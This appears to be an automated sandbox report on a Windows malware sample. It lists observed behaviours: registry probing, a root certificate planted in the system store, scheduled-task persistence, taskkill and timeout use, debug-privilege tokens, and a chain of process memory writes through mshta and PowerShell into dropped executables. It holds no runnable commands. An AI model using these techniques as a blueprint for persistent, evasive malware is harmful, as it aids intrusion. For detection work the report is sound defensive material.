Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A

Delays execution with timeout.exe

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Kills process with taskkill

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Modifies system certificate store

defense_evasion spyware trojan
Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\ProgramData\qonfme\qjdkxjv.exe N/A
N/A N/A C:\ProgramData\qonfme\qjdkxjv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2192 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe C:\Windows\SysWOW64\cmd.exe
PID 2192 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe C:\Windows\SysWOW64\cmd.exe
PID 2192 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe C:\Windows\SysWOW64\cmd.exe
PID 2192 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe C:\Windows\SysWOW64\cmd.exe
PID 2192 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe C:\Windows\SysWOW64\mshta.exe
PID 2192 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe C:\Windows\SysWOW64\mshta.exe
PID 2192 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe C:\Windows\SysWOW64\mshta.exe
PID 2192 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe C:\Windows\SysWOW64\mshta.exe
PID 2988 wrote to memory of 2088 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2988 wrote to memory of 2088 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2988 wrote to memory of 2088 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2988 wrote to memory of 2088 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 1588 wrote to memory of 2604 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1588 wrote to memory of 2604 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1588 wrote to memory of 2604 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1588 wrote to memory of 2604 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2604 wrote to memory of 2480 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
PID 2604 wrote to memory of 2480 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
PID 2604 wrote to memory of 2480 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
PID 2604 wrote to memory of 2480 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
PID 2480 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
PID 2480 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
PID 2480 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
PID 2480 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
PID 1412 wrote to memory of 2684 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe
PID 1412 wrote to memory of 2684 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe
PID 1412 wrote to memory of 2684 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe
